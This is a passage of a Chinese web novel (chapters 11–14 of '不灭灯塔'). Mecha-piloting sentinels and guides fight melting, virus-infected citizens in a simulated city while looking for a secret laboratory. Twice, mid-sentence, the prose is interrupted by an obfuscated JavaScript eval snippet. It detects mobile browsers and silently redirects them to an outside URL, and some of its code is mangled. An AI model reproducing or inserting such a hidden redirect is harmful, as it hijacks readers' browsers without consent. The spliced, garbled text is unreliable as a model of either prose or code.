“而有一座神秘的实验室，里面有一位被困的科学家。据说，他即将研制出病毒的解药……” 11. 不灭灯塔11 【排位赛第一轮：探索阿莱城】 【任务目标： ·与五名队友集合 ·清除病毒变异体 ·寻找秘密实验室】 【注意：本轮比赛限时四十五分钟。请各位参赛选手在规定时间内完成。正式比赛将于十秒后开始，请各位选手自选地址降落。】 【十，九，八，七……】 舱门唰啦打开，倒灌的冷风吹散了云川心中的一点不安。 她开始思考秘密实验室可能的选址。 以阿莱城位于平原和山脉交界处的先天地理环境来说，寻找一个兼具隐蔽和防御性的山洞应该不难。然而，这涉及到两个问题。 首先，必须要对洞穴进行加固和改造，防塌防潮防震；其次，想要将相关建材运输进山洞，就不可避免的得有一条大型运输车的通道。 因此，该山洞的入口最好靠近平原地带。 当然，实验室也不一定要建在山洞中，某种大型人造地下掩体也可以。 可如果是这样，建造成本就会很高，需要投入更多人力物力。尤其是在挖掘山体时，造成的动静会不可避免地引来人们的关注，稍有不慎就会走漏风声。除非，建造时用其他借口掩人耳目。 而且，既然都联想到地下掩体了……为什么不直接考虑平原原本的地下呢？ 阿莱城是一座古老的城市，应该会存在例如废弃的地铁站这类大型地下基础设施吧？既然它曾经还很繁荣，那么生活系统应该设计得不错，下水道网络一定四通八达，因此也不能排除秘密基地藏在下水道里的情况。 该在哪里降落呢？ 她那五个自动分配的队友又会怎么选？ 云川站在舱门边缘。 这是一个阴天，入目可见都是灰白的云层，空气阴冷潮湿，漫游者XVI的表面已经凝结出一层细密的水珠。 看来再过不久就会下雨。 云川的手指神经质地抽搐一下。 真是服了这超低能见度……根本看不见下方究竟是城市还是山脉啊啊啊！ 这该怎么跳？云川心中惴惴，她没有任何高空跳伞的相关经验。更别提她后背根本没有降落伞包！ 然而，倒计时即将归零。 算了。 云川深吸口气。 就当测试机甲数据了。 她硬着头皮向前半步踏空，松开紧扣舱门的手指，眼睛一闭，纵身跳下！ 她的身影顿时被云海吞没。 下坠的瞬间，云川耳膜先于意识炸开！ 一种冰锥般的刺痛迅速蔓延每一束神经末梢，她在强烈的失重感中品尝到自己牙龈渗血的铁腥味。 恐惧和兴奋在脑中交织，身后沉睡的触手群全部苏醒，张牙舞爪地撕裂云层！ 三秒。云川想。下坠的第三秒钟，触手才被正式激活。 随着高空气流刮擦面甲，视网膜上跃动着机甲同步传导的，逐渐清晰的地面俯瞰图。 此时此刻，云川终于看见前方那五个朝不同方向移动的绿色光点。 那正是她本轮的队友。 云川调整身体的方向，想离他们近一些。而那些四散的绿点也正在努力朝他们彼此所在的方向聚齐。 一条狂舞的触手扎进写字楼的玻璃墙——玻璃碎裂的震动顺着触手传来，不是声音，而是直接敲在牙床上的钝响。 云川鼻腔顿时泛起幻痛，仿佛玻璃碴随着呼吸刺入肺泡。 她口中的铁锈味更浓。 三条触手缠住相邻建筑的通风管道，将下坠势能转为摆动，然而，生锈金属与触手表面摩擦产生的热量如同一团滚动的火球！一股灼痛顺着尾椎骨直窜云川后脑，带来一种近乎诡异的快｜感。 云川浑身颤抖，紧紧咬住嘴唇，靴底擦过公车站台雨棚—— “轰！” 机甲着陆的冲击波掀翻了三个报刊亭。有下水道井盖旋转着飞上半空，砸中对面商厦的全息广告屏。 漫游者的八条触手呈辐射状刺入地面，地面以云川为中心迅速裂开蛛网般的裂纹。 云川半跪在地，剧烈喘息。 太刺激了！她差点儿就要整个栽进下水道里了！ 她在原地惊魂未定喘了一会，才慢慢收回触须，起身观察周围。 这是一个高楼林立，却异常死寂的商圈。 明明她降落的动静如此之大，可云川却没看见任何“病毒变异体”的影子。 或许藏起来了。或许还没到它们出没的时候。 云川瞬间展开精神域网。 向外飞速伸展的精神触须构建出密密麻麻的大网，范围辐射这整片区域。然而云川仔细筛选过两遍，暂时没发现这片区域有除自己以外的第二个活人。 距离她最近的一名队友正在两个街区之外，她想了想，决定一边靠近对方，一边探索沿途。 在关于阿莱城的背景介绍中，并没有提及病毒的具体感染方式和感染症状，只说有大量病毒变异体在城市的各个区域游荡。 然而，能在短时间内造成大规模感染的病毒一般有几种传播途径，即：呼吸道传播，接触传播，消化道传播，血液□□传播，虫媒传播和动物源性传播。 其中感染速度最快的自然是呼吸道传播，而考虑到该病毒似乎只在阿莱城爆发，虫媒传播这种极具地域性的渠道也不可排除，也许，这种病毒是由某种昆虫叮咬引起的也说不准。 以上这些都是云川的推测。 她并不能确定城中肆虐的究竟是什么类型的病毒，但她需要立刻做好防护措施，以确保不会在半途因被感染而退赛出局。 有时候，肉眼看不见的敌人才是最可怕的。 云川打开机甲的呼吸过滤功能，随后走进最近的一家便利店。 一进门，就看见店里货物散落一地，大部分货品表面都被一种黑色的固体所覆盖。 这是什么？ 云川找了根棍子，在黑色固体上戳了戳。 质地坚硬。边缘呈现出类似龟背的纹路。闻起来有一股很典型的焦油味儿。 云川蹙眉：“这是……沥青？” 她迟疑地向后方看了眼。 便利店中的未知黑色物质很像用来铺路的沥青，可这种东西为什么会出现在一家便利店里面？ 云川有种不好的预感。 她谨慎地往便利店后走去，发现储物间的门留有一条缝隙。不知道是没关好，还是故意引诱她进去。 她的精神域网没显示里面有活人。 是她出现了失误，还是—— 一条卷曲的触手推开门，在金属门板上留下扭曲的焦痕。 云川浑身紧绷，已做好攻击准备。 可当她看到眼前的场景时，还是怔愣了片刻。 两个诡异的生物依偎在储物间角落中。 起初，云川以为那是什么腐烂的肉泥，黑黢黢并且散发恶臭。 可当她向前两步，在上面看到两个洞口时，她才发觉那竟然是两张大张着的嘴巴！其中的一张嘴里还能看到零星几颗牙齿，另一张口腔里却连舌头也不剩了，空洞洞的，看得云川寒毛直 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至于另一个感染者……她或他的状态要比这个更糟糕，内脏全黏在一起，已经到了她无法辨别的程度。 看来他们已经死了。 云川快速后退几步关上门，离开了便利店。 她决定立马去和队友汇合。 这种病毒对人体的破坏性比她想象中更强——竟能将人体细胞融化成沥青状液体，而这种液体竟然还具有一定腐蚀性。 她得将这些信息共享给队友。 至于要如何清除被感染者……云川心中有个大致的思路。 她操纵触须，像个巨大的八爪鱼般在城市中一路奔驰，终于接近了距离最近一个队友的坐标。 当第一条触手攀上钟楼尖顶时，云川听见了枪声。 她迅速锁定枪声来源。 那是一个十字路口，交通信号灯在阴云下泛着朦胧的绿色。一个十分眼熟的白色机甲正对着绿化带疯狂扫射，所过之处一片狼藉。 云川望着那在半空中四溅的黑色液体，眉头皱得很紧。 她身体半挂在钟楼顶，将下方战场一览无余。 在白色机甲十点钟方向的绿化带对面，有一群感染者！ 那些半融化的黑色人形如潮水般向机甲涌去，有粘稠的焦油状物质不断从那些感染者的关节处滴落，在马路上腐蚀出蜂窝状孔洞。 云川立马展开精神网域，将那名正在战斗中的队友笼了进来。 【现在，马上开启呼吸过滤系统。】她冷静地向对方传达消息，任由三条触手在背后蠢蠢欲动，【该病毒很可能通过呼吸道传染。不要接近，尽量远离。】 脑海中突然涌入大量陌生情绪波动——然而云川的情绪依旧稳定。 这是她第一次和哨兵神经直连，却熟练得仿佛做过千百次。 【你好，解厉，又见面了。】 三条触手同时刺穿十字街道上无人驾驶的油罐车，飞溅的燃油在半空中绽开一朵缓慢扩散的虹彩油膜。 触手卷起油罐车，横挡在白色机甲前。解厉下意识将炮口对准油罐车。 【我是你本轮比赛的向导，云川。】 高温炮火与燃油接触的刹那，整条街道被蓝紫色火焰吞没。 “这座城市正在融化。” "现在，"云川降落在解厉身后，背后触手同时绷直成攻击形态。 她轻轻笑了声。 “让我们给它来一场无菌化消毒。” 12. 不灭灯塔12 如果说便利店中三名完全“融化”成黑色液体，并随着死亡时间推移逐渐硬化的感染者变异程度是100%，那么云川她们现在面临的这群尚有行动能力的感染者，变异程度就在60%-70%左右。 他们大多数的五官都还完整本分地待在原本的位置上，并没有消失或位移。 然而，这些感染者的身体，却如一座正在崩塌的腐朽建筑般，关节不受控制地扭曲，脊柱更是像是被一股无形的力量拉扯着，呈现出一种怪异的弯折状态。 云川发现，每一名感染者四肢的肌肉都以一种十分不自然的方式在膨胀和收缩，就好像有什么东西在肌肉纤维中蠕动。这就导致他们皮肤的颜色很奇怪，已经从正常的人类肤色转化成了一种暗沉的灰黑，并不断渗出一些油腻恶臭的腐蚀性液体。 但他们并不是在单纯地进攻。 “他们在交流。”解厉打爆了街边一辆小轿车，爆炸的热浪将几名游荡过来的感染者瞬间掀翻。 她趁这个空档转过头回望云川，指了指自己耳朵的位置。 “我听见有几个在商量，想要包围我们。” “真有意思，我以为病毒已经感染了他们的大脑，没想到他们居然还没丧失语言功能。”云川微微眯起眼睛，望着前方这群移动速度迟缓僵硬的感染者，从中找出了一个疑似主脑的家伙。 在所有靠近她们的感染者中，这名中等身材的男人脚步明显要比其他人慢上半步，看上去尤为的迟钝，可他的变异程度却是所有人当中最严重的，双眼深深凹陷进眼窝，嘴巴大张，正一边流着口水，一边呜哇呜哇地叫唤。 细细聆听，云川发现他总在重复几个音节。 “怪物……怪物……”他含糊不清地低吼，“包围……杀了！杀了它们！” 而他身旁的几名感染者也附和：“怪物……杀了怪物……” 云川默默注视他们，发现那名“主脑”胸前的衣襟上有个一闪而过的银光。 金属质地，是胸针，还是铭牌？ 他身上的服装……是工作制服？ 云川目前身上并没有装配任何的热武器，因此她在这场清除行动中主要起到一个辅助作用。 当解厉朝感染者猛火进攻时，她就利用八条触须在周围随机抓取易燃物和车辆设置路障。很快，她们与感染者之间就竖起一道人工火墙，如果感染者想要接近她们，就只能通过中间被云川故意留出的一个豁口进入。 解厉不明白她此举的用意。 十字路口的感染者大部分都在高温火焰中丧失行动能力，清除起来并不费劲，为什么她还要特意留个缝放那些家伙进来呢？这纯粹是在浪费时间。要知道，现在已经过去快十分钟了，她们甚至都还没有和队友汇合！ 解厉在心中不满地腹诽，要不是格瑞丝特意嘱咐她…… 【我想把最后面的那个男的引过来看看。】 正想着，解厉就感受到后方传过来的，云川平稳的精神波动。 【或许，我们能从他身上发现一些关于实验室的线索。】 “好吧，”见状，解厉不情愿地嘟哝，“谁让你是向导呢。” 毕竟是个A级，就浅浅信她一次吧。 反正以自己的能力，搞定这帮变异体，简直小菜一碟。 解厉立马转换攻击策略。 她专挑那些直愣愣往前冲的感染者攻击，却对那些从豁口中钻出来的熟视无睹。渐渐的，豁口处就开始排起了感染者长队。 见状，解厉乐道：“你别说，这一个个虽然长得丑绝人寰，但素质还挺高，原来应该也是守法公民吧。啧啧，居然都没一个插队的。咦，怎么停下不动了？” 云川身体靠在障碍物后，闻言抬头瞥了眼头顶，幽幽道，“红灯了。” 解厉：“……不是，还真遵纪守法啊？” 她难以置信地瞪着那一队感染者们，发现他们居然真的在交通信号灯重新变绿后才漫吞吞地扑过来。 服了。 解厉嘴角一抽，举枪，子弹从前往后一路贯穿了五名感染者的眉心。 云川赞叹：“好枪法。” 解厉忍不住翘起嘴角：“谁让他们排得这么整齐。” 前排几名感染者的倒下打乱了队伍前进的节奏，短暂骚乱一会后，新的队列踏过他们的身体，开始向她们奔来。 解厉当然不会让他们靠近。几声枪响后，只剩最后那个男性感染者还没有倒下。 他扭曲着身体朝解厉冲去！ “滚开！”那个感染者含糊不明地咆哮，双眸充血，“你们这些怪物！滚出我们的城市！” “怪物？怪物说谁？”解厉面甲下的脸皱起来，没好气地吼道，“拜托！大哥！你要不要照个镜子看看我们之间究竟谁才是更像怪物的那一个啊喂！” “我要杀了你——怪物！！！啊啊啊啊啊杀了你杀了你杀了你杀了你！” 然而，来者根本充耳不闻解厉的吐槽。他依旧固执而疯狂地大喊大叫，双手狂乱地在半空中摆动，试图去掐解厉的脖子。 可这注定是无用功。 首先，解厉的这身机甲根本就没有脖子。 其次，解厉迅速轰了他一下，把他弹出去五米远，他身上那些不断流淌的黏液也因此四下飞溅。 “小心！”云川喝道，“不要沾到那些液体！” 解厉闻言，打开手臂护盾以作抵挡。她本还有些侥幸心理，想着就算有腐蚀性，也应该不会太严重，谁知盾牌刚和那些黑液接触，就响起一阵令人牙齿发酸的滋滋声。 她当即扔掉护盾，发现短短几秒钟的功夫，盾牌居然就被腐蚀出了几个大洞! 她咒骂一声，正想撤离时，听见前方传来一声巨响。 ——云川用触手把公交车拖了过来，挡在她和感染者之间。 “事情不对劲。”云川说，“在他们眼里，我们才是怪物。而且他的眼睛——” ——是藻绿色的。 潮湿的。如同霉菌般的藻绿色。和当初的黑曼巴哨兵几乎一模一样。 会是巧合吗？ 云川心脏突然漏跳半拍。 这一瞬间，她耳边好像又听见了当初那种令人极度不适的，阴湿粘腻的海潮声。 “这些都是程序设定。”解厉道，“我们双方现在是敌对阵营，不然怎么叫战场呢？” 云川一愣，反应过来这不是现实世界，而是模拟战场。 “你说得对……”她喃喃，“是我太代入了……” “看在你是第一次的份上，我不嘲笑你。而且这次的怪物建模确实有些太仿真了，搞得我心里也有点怪怪的，好像真的在杀被感染的人类一样。”解厉耸肩，“不过，你刚才有从他身上发现点什么吗？” 云川：“他是阿莱城彩虹大剧院的经理。” 解厉：“嗯嗯，然后呢？” 云川：“没了。” 解厉：“嗯嗯……呃？说好的实验室线索呢？” “我刚才在过来找你的路上看到了阿莱城的游玩手册，上面除了美食攻略以外还有几条经典路线规划。我因此了解到，彩虹大剧院处在阿莱城西部，临近植物园和山区。”云川说，“但我们这里是东部商业区，两者间直线距离超过三十公里，坐地铁没有直达，需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068148|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要换乘两次后再乘坐公交车。这样远的地方，他为什么会出现在这里？” 解厉：“可能他家住在这附近……或者他工作时候趁领导不注意偷偷溜出来摸鱼。” “穿着工作制服到大街上摸鱼？还连员工铭牌都忘记摘下？”云川摇头，“这智商应该不可能坐到经理的职位吧。” “我怎么感觉你在骂我。”解厉摸了摸自己圆滚滚的机甲脑袋，“那你说是为什么？总不可能是病毒爆发了，他一路啊啊啊叫着逃到这边来的吧？” 云川叹了口去：“我不知道。但我感觉很怪。而且，彩虹大剧院刚好处在平原和山地的交界处，是秘密实验室可能的选址，我认为我们应该过去看看。你说呢？” 解厉想了想：“另外三个人在哪呢？我们汇合以后，一起过去吧。” 云川放开精神域网，感受了一会后，表情变得有些异样。 “嗯，他们就在我们的脚下——准确来说，在地铁里。” 地铁隧道的应急灯将人影拉长成扭曲的怪物。 C级哨兵麦考夫的机甲【红影】紧贴潮湿的磁砖墙游走。二十米外的闸机口，五个被感染的乘客正朝他缓缓逼近——他们身上残留的衣物还沾着些爆米花碎屑，可身体却已有大半融化成恶心的沥青状黑液，滴答滴答流了一地。 “保持十米距离！那些液体有毒！”B级向导“阿华”的机甲尾椎后突然伸出一条粗壮的尾巴，卷起自动贩卖机，300公斤重的金属箱体呼啸着砸向这几名感染者。各种不同口味的饮料罐在撞击中爆裂，或甜腻或清爽的液体与黑色黏液混合成奇怪的烟雾弥漫半空，又被机甲尾巴卷起的气流困成漩涡。 A级哨兵阿比盖尔此时从立柱后闪出挡在阿华前方，肩部喷射出八道火线。 爆炸的气浪掀翻三名感染者。然而即便被高温炙烤，那些可怖的残肢仍在不死心地缓缓蠕动，腐蚀着能够接触到的一切事物。 “究竟还有多少！”麦考夫有些崩溃地趴在天花板上，“他们是长在地铁站里了吗？我们什么时候才可以上去和队友集合？” 话音未落，其中最瘦小的一名感染者忽然尖啸着朝他们冲来！那声音刺耳极了，有一瞬间麦考夫几乎要维持不住自己的精神屏障。 “小心！她在召唤其他同伴！”阿华捂着脑袋低吼道，“打断她！” 阿比盖尔后背装甲轰然展开，电磁脉冲弹在隧道炸开刺眼的蓝色光环。 麦考夫趁机从天花板爬下来，扑向阿华身后，替他挡住冲击。 在一片令人头皮发麻的哀嚎中，阿比盖尔一手提起一个队友快速向出口奔去—— 突然，所有感染者同时跪地呕吐，黑液喷溅，在半空凝聚成巨大的风暴。 狂风卷起身体的瞬间，阿华在一片恍惚中，仿佛看见风暴深处裂开了无数张嘴巴，用队友们的声音呢喃。 “为什么要抵抗进化呢？” 有黑色的黏液渗入机甲，阿华的太阳穴青筋暴起。 他看到眼前的逃生通道化作一条堆满骸骨的血色甬道，仿佛通向深渊的入口。 这不是真的。 他喃喃，这一定是精神污染——看来这种病毒不仅会融化身体，还会扭曲人类的精神力，他必须挣脱…… 然而，要命的是，队友阿比盖尔的身影，竟在幻觉中逐渐融化成了已经死去的姐姐。 那个曾经和他相依为命，又在他觉醒后被迫与他分别多年的姐姐。 她依旧穿着艾伊尔公司研究员的制服，只不过原本雪白的大褂此时已经沾染斑斑血迹。 “阿华。”姐姐很温柔地笑着，向湛容华伸出手。 13. 不灭灯塔13 “队友就在地铁里？那还等什么，快下去找他们啊!” 解厉闻言，当即就打算冲向十字路口附近的A口，却被云川的一根触手拦住去路。 “等等！”云川说，“这个站点附近一共有七个地铁口，当中有六个入口都有大量病毒变异体聚集……” 云川眼神在已经布满黑液的街面上匆匆掠过。又抬头望了望愈发阴沉的天空。 快下雨了。 “我们最好避开它们，从最远的那个入口下去。” 解厉：“可时间已经过去快二十分钟了，万一超时——” “如果你相信我的感知能力，”云川打断她，“就跟我走。” 说完，她不等解厉回答，两条触手猛一挥动就爬上了前方公交车的车顶。 只是一霎那，周围原本沉闷的空气突然躁动。 狂风呼啸！ 眨眼之间，暴雨如注。 雨水在解厉坚实的白色机甲外壳上肆意流淌，预热的武器装备引擎在雨幕中闪烁着冷峻的蓝光。 她身上每一块厚重的装甲都在向外诉说着她无坚不摧的力量，此时此刻，穿着机甲的解厉站在城市中央，宛如一位圣洁的战神。 而云川呢？ 这个突然觉醒，在不久前杀死她的向导，究竟是个怎样的人？ 解厉抬眸，审视着前方那仿佛来自幽暗深渊的黑色机甲。 她看见对方那黑色的躯壳犹如一个巨大的阴影，触手在暴雨中如有生命般的狂舞不歇。当雨水打在那些触手上，并顺着肥腻表皮滑下时，这场面所带给她的糟糕观感，几乎和感染者融化的体/液不分上下。 她该相信云川吗？她该跟随这个人吗？……她是否能带领她走上正确的道路？她是否有能力为自己的选择负责？她是否能够承担……她所对她寄予的，隐秘而自私的期待呢？ 解厉想要迅速和队友汇合。 解厉想要马上找到实验室。 解厉想要通关。 解厉想要保送。 解厉想要胜利、荣誉和梦想成真——！！！ 但是，得到这些需要付出什么呢？ 解厉的脸藏在冰冷的面甲后。 她望向触手狰狞的背影，脑海中回忆起当初云川杀死她时，那种残酷冰冷的眼神，咬牙下定了决心。 “我相信你！”她大吼，“但你可别把我带坑里去啊啊啊啊啊姐——” 她追上了云川。 面甲下，云川嘴角翘起微小的弧度。 她知道解厉一定会跟上来。 她无比确信这一点。 然而，这种笃定的来源并不是处于云川对自己能力的自信，而是对解厉参赛心理的揣摩。 作为一个二十岁还没有找好下家灯塔，且刚升上B级的哨兵，解厉心中一定非常焦急。 无论她是否出身于解家，她都迫切想要证明自己的能力。 因此，这场比赛的结果对她而言至关重要。 解厉需要靠前名次。 虽然云川不知道排位赛具体是怎么计算得分的，可根据目前掌握的信息来看，衡量参赛选手综合得分无怪乎有以下四个维度： 杀敌率、团队协作和保护、存活率、是否完成任务目标。 并且，这四个维度的得分占比并不平均。 作为参赛者，必须完成任务，这不仅是得分的大头，也是这场比赛的最终目的。和这比起来，杀敌率和死亡率都不算重要，两者加起来的得分占比不会在超过35%。 但团队协作分不同。 团队很重要。 每个人在团队中的位置是不同的。 在一个二加四的觉醒者六人团中，两名向导承担了探索、指挥和精神感应的职责，四名哨兵则需要杀死敌人，保护向导。这种几乎约定俗成的职能分配与合作模式，恰恰是基于向导和哨兵能力的不同分化方向。 如果说向导是天生的指挥，那么，哨兵就是听从安排的士兵。哨兵固然身强力壮，但只要他们一天无法独立控制自己的高敏感精神力，这种在战略部署上一方支配、一方执行的“从属”模式，就不会被颠倒。 因此，无论解厉与云川有多大的分歧，看在她是向导的份上，解厉都会暂时按捺住不满。 更何况，云川选择的路线确实是当前状况下最稳妥的一条了，她根本没有理由反对。 毕竟……如果解厉真的凭一时热血，单枪匹马冲进感染者群中，只会被活活拖死。 不值当。 ……身侧气流的微妙变动告诉云川，解厉已经跟了上来。 云川没有回头。 她明白，此时此刻她需要做的，唯有向前。 触手攀上建筑，云川迅速游荡在林立的高楼间。原本落在身后的解厉也加大了腿部推进器的马力，逐渐与她并行。 【进步很大嘛，之前还站不稳，现在已经健步如飞了。】云川听见解厉通过精神链接这样调侃道。 【那当然。】她淡淡回复道，【毕竟我可是博士。我很聪明，擅长学习。】 【……啧。】 隔着雨幕和面甲，她们不约而同微笑起来。 但这轻松只持续了很短的时间。很快，最“安全”的地铁入口已近在咫尺。 还没进入，二人就听到下方传来一声震耳欲聋的轰鸣！ “退后！小心！”湛容华警告的声音中带着些许痛苦，“四点钟方向注意精神污染！” 麦考夫的机甲【红影】突然踉跄，他想稳住身体，然而眼前的显示器却爬满扭曲的阴影。 一些根本不存在的怪物正悄然缠上他的手臂！ 即使心里知道这是幻象，冷汗仍然浸透了作战服内衬。 是的，内衬！该死的【寻觅者】内衬！天知道为什么【寻觅者】机甲会有这样粗糙的内衬！他被磨得浑身发疼发痒！ “不是说只有接触到他们才会感染吗？！”麦考夫大惊失色。 “黑液在自主蒸发！它在汽化！”阿比盖尔的机甲右臂弹出旋转链锯，向半空甩去，“打开你的呼吸过滤系统——” 晚了。 作为C级哨兵，麦考夫的精神力不足以支撑他驾驶生物机甲，因此，他链接的动力机甲【寻觅者】也并不具备【漫游者】系列那样自主保护宿主的生物反射。 在他愣神的短短一瞬，那带有邪恶力量的蒸汽已顺着机甲缝隙涌入。 眼皮阵阵发烫。 麦考夫隐隐感觉有什么狭长而尖锐的东西从眼睛里长了出来。刺得皮肤很疼。 视网膜上有一个蠕动的影子。 ……是什么？ 他感觉恐惧，双手不自觉想要去触碰，可一抬手，却只摸到坚硬的面甲。 好难受好难受好难受好难受！ 好想解除机甲摸摸眼睛里到底是什么啊！ 正当麦考夫把的双手放在解除按钮上的时候，突然有一条尾巴甩过来，重重拍开他的手，且把他原地抽了个旋儿！ 【不要呼吸！不要对视！不要回忆！！！】 麦考夫咒骂着站起来：“该死的精神污染……” “闭眼！跟着我的精神指引！”湛容华的吼声混着感染者嚎叫声传来，他的精神触须强势突破麦考夫的精神屏障，刺入大脑，迫使他不得不与他精神直连。瞬间，麦考夫视网膜上的诡异阴影被冲散，他凭着肌肉记忆扣动扳机，子弹精准贯穿感染者身体中早已扭曲的心脏，飞溅的黑色液体被阿比盖尔竖起的盾牌抵挡在外。 更多的感染者争先恐后朝他们扑过来。 “离远点！”阿比盖尔嘶吼着推开湛容华，“快去找剩下的队友！跑！我要炸了这里！” 麦考夫下意识扛起湛容华就往外跑。 他不敢睁开眼，全靠湛容华的精神指引和眼不见为净的勇气突围。然而，湛容华本身也在承受精神污染带来的痛苦，很快就支撑不住，原本依靠意志力才强行压制住的幻觉铺天盖地朝他涌来。 他精神力暴走了！ “坚持住，阿华！”麦考夫心急如焚，出口楼梯就在这个拐角之后—— 轰！！！ 热浪自身后席卷！是阿比盖尔发射了导弹！ 巨大的冲击波让麦考夫飞了起来。 就在他觉得自己这次可能大事不妙的时候，有什么扭动的黑色物体倏地从一旁窜出，精准裹住他的身体，活生生将他拽离了爆炸中心! “啊啊啊啊这是什么玩意儿不要这么对我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068149|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊啊啊啊我不要触手play！”看清纠缠自己的居然是一条黏糊糊的恶心触手，麦考夫终于爆发了有史以来最撕心裂肺的惨叫！ “救命啊！！！” 这到底是什么变异生物啊啊啊啊！ “住口！”云川额角青筋直跳，恶狠狠地将麦考夫和显然有点神志不清的另一名向导安置在后方。 至于解厉…… 仗着自己是重甲，防御高，她在听到巨响时就飞冲下了地铁，一边在前面开路一边尖叫着让云川的触手快点去捞剩下的人。 好在，最后一名队友的防御力还不错，被导弹狠狠炸了一下机甲也依旧完整，就是外壳有点焦。 没事洗洗还能用！ 云川将捞来的三名队友排排放好，终于松了口气。 终于集合了。她想。 …… 麦考夫是被解厉一巴掌抽清醒的。 他坐在地上，背靠墙壁，有点懵。 “叫什么叫，吵死了。”解厉凶巴巴地说，“说说刚才都发生什么了？这个向导怎么昏迷了？” 麦考夫慢慢找回了一点理智。他盯着云川身后蠕动的触手，终于意识到对面是友军。 “……我、我们遭到了大规模感染者的攻击。”麦考夫说，“他们有将黑液汽化的能力，我们因此受到了精神污染。” “精神污染？”云川蹙眉，“你看到了什么？” “一些可怕的幻象，差点让我失去理智。”麦考夫干巴巴道，“幸好有阿华在，否则我可能已经无了。” 云川和解厉对视一眼。 “你先缓一会。”解厉拍拍他的肩膀，“我们去看看另外两个人。” 阿比盖尔的身体素质异常强悍。都不需要任何外部干预，纯靠意志力就苏醒过来。 “火焰对下面这批感染者的作用不大，只能短暂拖延，却解决不了根本。”一张口，她就这么说道，“我认为下次应该用冷冻武器对抗他们。” “明白。”解厉点头。 “可以用液氮。”云川说，“感染者融化后的身体组织液很像沥青，液氮刚好能冻结沥青，使其在低温状态下呈现出脆弱的晶体结构。” “了解。”阿比盖尔点头，和云川握了握手，“我是阿比盖尔。” “我是云川。” 阿比盖尔看向解厉。 解厉：“我知道你是谁！” 阿比盖尔笑了：“厉厉姐。” “我不是什么厉厉姐，我只是个普通的B级哨兵，我旁边这位才是真的姐。”解厉用手肘捅了捅云川，“是吧，川川姐？” 云川：“……” 她瞥了解厉一眼，俯身梳理起湛容华暴走的精神力。 她还是第一次做这种事，因此每一步都小心翼翼。 和解厉不同，身为向导，湛容华的精神域网明显要复杂和壮观很多。就像一些植物的根茎，露出在地面上的仅仅只是冰山一角。 为了不让同为向导的湛容华感受到冒犯，云川特意将自己的精神力融化成水，像滋润万物的甘霖，悄无声息地没入土壤，抚慰着地下盘根错节的神经域网。 ……好平静的感觉。像是回到小时候。 湛容华想。 他的思绪在此刻被割裂成两半。 一半充斥着恐惧、不甘和愤怒。一半却感受到温暖、安心和放松。 ……是姐姐吗？ 他迷迷糊糊。 ……是姐姐来圣所看他了吗？她一直很忙，这会不会耽误她的工作呢？她之前说最近加班严重，不知道有没有好好吃饭呀？ 他感受到，一只温柔的手，轻轻贴在他的额头上。 湛容华竭力睁开眼。 “姐姐……” 然而，落入眼中的并不是他想象中的那个人，而额头上的手掌也不是正常人的手掌。 这双漆黑的，闪烁着隐秘金属光泽的机甲之手，来自于他本轮比赛的队友。 湛容华立刻意识到，这是另一位向导。 他火速起身，面甲下脸色绯红：“抱、抱歉，我不是故意——” “没事……”云川扶额，“我确实是你们当中年纪最大的。姐姐就姐姐吧。” 哎！ 14. 不灭灯塔14 “不对啊。” 麦考夫挠头。 “咱们这次不是六人团吗？怎么我数了两遍，发现还少一个人呢？” 阿比盖尔背靠墙壁站着：“还缺一名哨兵。” 云川和湛容华对视一眼，几乎同时开口，“我以为她/他和你们在一起。” 众人闻言，纷纷蹙眉。 云川：“我之前确实感受到了来自地下的四名队友的精神波动。” 湛容华：“我以为你们三个人都在地面上……” “也就是说，这第六名成员，其实从一开始就没和我们任何一队在一起，但实际上却像饼干夹心一样，和我们双方都离得很近。” 解厉双手环胸，环顾狼藉的周围。 “没错。”湛容华扶着墙站起，“明明对方的坐标一直离我很近的，就在这上面……” “但突然间就消失了。”云川说，“仔细回想起来，似乎是爆炸发生以后，就找不到人了。” “总不可能已经死了吧？”麦考夫表情变得惊恐，“这会判定我们任务失败吗？我不想一轮游啊！” “别乌鸦嘴！”解厉怒道，“我们会找到人的!是吧，川川姐？” 川川姐不语。 川川姐沉默。 川川姐正在思考。 “这个地铁站建得很深，墙体也坚固异常，十分厚重。”阿比盖尔忽然道，“我引爆了一枚导弹，可居然只炸毁了部分轨道。这是否意味着——” 湛容华：“——这其中可能隐藏着其他通道。对方可能就在里面。” 这时，一条黑色的触手从云川机甲背后摇摇晃晃伸出，用力拍了拍天花板。 “实心的。” 云川说。 “就算有隐藏通道应该也不在这里。找找别处，人总不会平白无故消失。” 麦考夫咂舌：“川川姐，你有这么强的执行力，干什么都会成功的。” “快找起来吧，时间不多了！”解厉催促。 他们开始在地铁站里迅速寻找起一切可疑的通风管道和隐藏门。 这个站点位于阿莱城中心，共有七条不同线路的地铁，彼此间都可以换乘。在经过阿比盖尔的导弹暴击后，有三条线路已经被完全炸毁，无法通行。沿途能看见许多感染者融化的尸骸，为了避免他们身上的黑液再次汽化，混入空气，造成精神污染，所有人都准备好了液氮武器，打算一碰见他们就将其冷冻脆化。 云川每一条触手都卷着一个液氮灭火器，看见一个感染者就喷一个，堪称模拟战场头号喷子。 当然云川也没忘记做正事。 她同湛容华一齐放开精神域网，仔细探索过每一处墙壁和天花板。 但都一无所获。 